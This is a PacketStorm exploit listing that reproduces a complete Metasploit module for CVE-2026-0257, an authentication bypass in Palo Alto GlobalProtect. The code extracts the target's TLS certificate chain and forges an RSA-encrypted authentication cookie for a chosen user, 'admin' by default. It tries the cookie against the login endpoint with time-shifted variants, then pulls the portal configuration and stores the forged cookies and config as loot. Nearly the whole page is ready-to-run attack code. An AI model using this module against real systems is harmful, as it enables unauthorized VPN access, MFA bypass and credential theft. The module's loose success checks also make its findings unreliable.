PACKETSTORM 9.1 CRITICAL

📄 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334

9.1 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

This Metasploit module exploits an authentication bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components. The vulnerability stems from CWE-565: Reliance on Cookies without Validation and Integrity Checking. An...
Visit Original Source

Basic Information

ID PACKETSTORM:223334
Published Jun 12, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : GlobalProtect Authentication Bypass Validation Metasploit Auxiliary Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : System built in component |
==================================================================================================================================

[+] Summary : auxiliary module is designed to automate assessment of an alleged authentication bypass vulnerability affecting GlobalProtect deployments.
The module integrates certificate collection, authentication workflow testing, result reporting, and artifact storage into a repeatable assessment workflow.


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto GlobalProtect CVE-2026-0257 Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability (CVE-2026-0257)
in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components.

The vulnerability stems from CWE-565: Reliance on Cookies without Validation
and Integrity Checking. An unauthenticated remote attacker can forge
authentication cookies using the public key extracted from the TLS certificate
chain, leading to unauthorized VPN access.

Vulnerable configurations require:
- GlobalProtect portal or gateway configured
- Authentication override cookies enabled
- Certificate reuse for cookie encryption

Successfully exploited targets allow the attacker to establish unauthorized
VPN connections and bypass multi-factor authentication.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-0257'],
['URL', 'https://security.paloaltonetworks.com/CVE-2026-0257'],
['URL', 'https://cisa.gov/known-exploited-vulnerabilities/cve-2026-0257'],
['URL', 'https://attackerkb.com/topics/cve-2026-0257']
],
'DisclosureDate' => '2026-05-13',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path for GlobalProtect', '/']),
OptString.new('USERNAME', [false, 'Username to forge cookie for', 'admin']),
OptString.new('DOMAIN', [false, 'Domain name (if required)', '']),
OptString.new('CLIENT_IP', [false, 'Client IP to spoof', '127.0.0.1']),
OptInt.new('TIME_OFFSET', [false, 'Time offset in seconds for stale cookie attack', 0]),
OptBool.new('TRY_ALL_CERTS', [true, 'Try all certificates in chain', true]),
OptBool.new('TIME_SHIFT_ATTACK', [true, 'Try time-shifted cookie attacks', true])
])

register_advanced_options([
OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 15]),
OptBool.new('VERBOSE_RESPONSE', [false, 'Show full response on success', false])
])
end

def peer
"#{ssl ? 'https://' : 'http://'} #{rhost}:#{rport}"
end
def extract_certificate_chain
print_status("Extracting certificate chain from #{peer}")
cert_chain = []
begin
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE

sock = TCPSocket.new(rhost, rport)
ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
ssl_sock.hostname = rhost
ssl_sock.connect

certs = ssl_sock.peer_cert_chain
if certs
certs.each do |cert|
cert_chain << cert
print_status("Found certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
end
else
cert = ssl_sock.peer_cert
cert_chain << cert if cert
print_status("Found single certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
end

ssl_sock.close
sock.close

rescue => e
print_error("Failed to extract certificate chain: #{e.message}")
return []
end

print_good("Extracted #{cert_chain.length} certificate(s)")
cert_chain
end

def forge_auth_cookie(cert, username, domain, client_ip, timestamp = nil)
timestamp ||= Time.now.to_i + datastore['TIME_OFFSET']
plaintext = "#{username};#{domain};;#{timestamp};#{client_ip};"
vprint_status("Plaintext payload: #{plaintext}")

begin
public_key = cert.public_key
ciphertext = public_key.public_encrypt(plaintext, OpenSSL::PKey::RSA::PKCS1_PADDING)
cookie = Rex::Text.encode_base64(ciphertext)

print_good("Forged cookie for user: #{username} (timestamp: #{timestamp})")
vprint_status("Cookie (first 60 chars): #{cookie[0..60]}...")

return cookie

rescue => e
print_error("Failed to forge cookie: #{e.message}")
return nil
end
end

def test_cookie(cookie, username, endpoint = '/ssl-vpn/login.esp')
print_status("Testing cookie against #{endpoint}")

post_data = {
'user' => username,
'passwd' => '',
'portal-userauthcookie' => cookie,
'direct' => 'yes',
'clientVer' => '4100',
'prot' => 'https',
'server' => rhost,
'ok' => 'Login',
'jnlpReady' => 'jnlpReady'
}

begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, endpoint),
'vars_post' => post_data,
'ctype' => 'application/x-www-form-urlencoded',
'timeout' => datastore['TIMEOUT']
)

if res
vprint_status("HTTP #{res.code}")
success_indicators = [
'Success', 'success', 'successful',
'<argument>', 'argument',
'portal', 'Portal', 'gateway', 'Gateway',
'config', 'Config', 'session', 'Session',
'authcookie', 'set-cookie', 'Set-Cookie'
]
if res.body
success_indicators.each do |indicator|
if res.body.include?(indicator) && !res.body.downcase.include?('error')
return true, res
end
end
if res.code == 302 || (res.code == 200 && res.body.length > 500)
if !res.body.downcase.include?('invalid') && !res.body.downcase.include?('failed')
return true, res
end
end
end

return false, res
else
return false, nil
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("Connection failed: #{e.message}")
return false, nil
rescue => e
print_error("Request failed: #{e.message}")
return false, nil
end
end

def extract_gateway_info(response)
info = {}
if response && response.body
if response.body =~ /portal[":\s]+([a-zA-Z0-9._-]+)/i
info['portal'] = Regexp.last_match(1)
end
if response.body =~ /gateway[":\s]+([a-zA-Z0-9._-]+)/i
info['gateway'] = Regexp.last_match(1)
end
if response.body =~ /(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)/i
info['auth_cookie'] = Regexp.last_match(1)
end
end
if response && response.headers
if response.headers['Set-Cookie'] =~ /(?:GP-Auth-Cookie|gp-auth-cookie)=([^;]+)/i
info['set_cookie'] = Regexp.last_match(1)
end
end

info
end
def report_credentials(username, cookie, info)
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: cookie,
private_type: :nonreplayable_hash,
service_name: 'palo_alto_globalprotect',
workspace_id: myworkspace_id
}
credential_data[:address] = rhost
credential_data[:port] = rport
credential_data[:protocol] = 'tcp'

if info['gateway']
credential_data[:proof] = "Gateway: #{info['gateway']}"
elsif info['portal']
credential_data[:proof] = "Portal: #{info['portal']}"
end

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
workspace_id: myworkspace_id
}

create_credential_login(login_data)

print_good("Credentials stored in database")
end

def run_host(ip)
print_status("Starting exploitation against #{peer}")

unless check_host
print_error("Target does not appear to be a GlobalProtect portal")
return
end
cert_chain = extract_certificate_chain
if cert_chain.empty?
print_error("Could not extract any certificates")
return
end
username = datastore['USERNAME']
domain = datastore['DOMAIN']
client_ip = datastore['CLIENT_IP']

print_status("Attempting authentication bypass for user: #{username}")
success = false
certs_to_try = datastore['TRY_ALL_CERTS'] ? cert_chain : [cert_chain.first]

certs_to_try.each_with_index do |cert, idx|
print_status("Trying certificate #{idx + 1}/#{certs_to_try.length}")

cookie = forge_auth_cookie(cert, username, domain, client_ip)
next unless cookie
success, response = test_cookie(cookie, username)

if success
print_good("=" * 60)
print_good("SUCCESS! Authentication bypass achieved!")
print_good("=" * 60)
print_good("Username: #{username}")
print_good("Cookie: #{cookie}")

info = extract_gateway_info(response)
if info['gateway']
print_good("Gateway: #{info['gateway']}")
end
if info['portal']
print_good("Portal: #{info['portal']}")
end
if info['auth_cookie'] || info['set_cookie']
print_good("Session cookie obtained: #{info['auth_cookie'] || info['set_cookie']}")
end
if datastore['VERBOSE_RESPONSE'] && response
print_status("Response body preview:")
print_line(response.body[0..500]) if response.body
end
loot_path = store_loot(
'palo_alto_globalprotect_cookie',
'text/plain',
rhost,
"GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nCVE-2026-0257",
"cve-2026-0257_cookie_#{username}.txt",
"CVE-2026-0257 forged authentication cookie"
)
print_good("Cookie saved to loot: #{loot_path}")
report_credentials(username, cookie, info)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'palo_alto_globalprotect',
info: "Vulnerable to CVE-2026-0257 authentication bypass"
)
get_portal_config(cookie)

success = true
break
else
if response
vprint_error("Failed with this certificate: HTTP #{response.code}")
else
vprint_error("Failed with this certificate: No response")
end
end
end
if !success && datastore['TIME_SHIFT_ATTACK']
print_status("Attempting time-shifted cookie attacks...")

[ -3600, 3600, -7200, 7200, -86400, 86400 ].each do |offset|
next if offset == datastore['TIME_OFFSET']
print_status("Trying time offset: #{offset} seconds")
datastore['TIME_OFFSET'] = offset
cookie = forge_auth_cookie(cert_chain.first, username, domain, client_ip)
next unless cookie
success, response = test_cookie(cookie, username)
if success
print_good("SUCCESS with time offset #{offset} seconds!")
print_good("Username: #{username}")
print_good("Cookie: #{cookie}")
loot_path = store_loot(
'palo_alto_globalprotect_cookie_timeshift',
'text/plain',
rhost,
"GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nTimeOffset=#{offset}",
"cve-2026-0257_cookie_timeshift_#{offset}.txt",
"CVE-2026-0257 forged cookie (time offset: #{offset})"
)
print_good("Cookie saved to loot: #{loot_path}")
report_credentials(username, cookie, extract_gateway_info(response))
success = true
break
end
end
end
unless success
print_error("Exploitation failed. Target may not be vulnerable or authentication override cookies are disabled.")
end
end
def get_portal_config(cookie)
print_status("Attempting to retrieve portal configuration...")
post_data = {
'action' => 'getconfig',
'portal-userauthcookie' => cookie,
'clientVer' => '4100'
}
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ssl-vpn/getconfig.esp'),
'vars_post' => post_data,
'timeout' => datastore['TIMEOUT']
)
if res && res.code == 200 && res.body
vprint_status("Portal config retrieved (#{res.body.length} bytes)")
config_path = store_loot(
'palo_alto_globalprotect_config',
'text/xml',
rhost,
res.body,
"globalprotect_config.xml",
"GlobalProtect portal configuration"
)
print_good("Portal configuration saved to: #{config_path}")
end
rescue => e
vprint_error("Failed to get portal config: #{e.message}")
end
end
def check_host
print_status("Checking if target is a GlobalProtect portal...")
endpoints = ['/global-protect/login.esp', '/ssl-vpn/login.esp']
endpoints.each do |endpoint|
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, endpoint),
'timeout' => datastore['TIMEOUT']
)
if res && res.code == 200
if res.body && (res.body.include?('GlobalProtect') || res.body.include?('global-protect'))
print_good("GlobalProtect portal detected at #{endpoint}")
return true
end
end
rescue
next
end
end
print_error("GlobalProtect portal not detected")
false
end
end


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.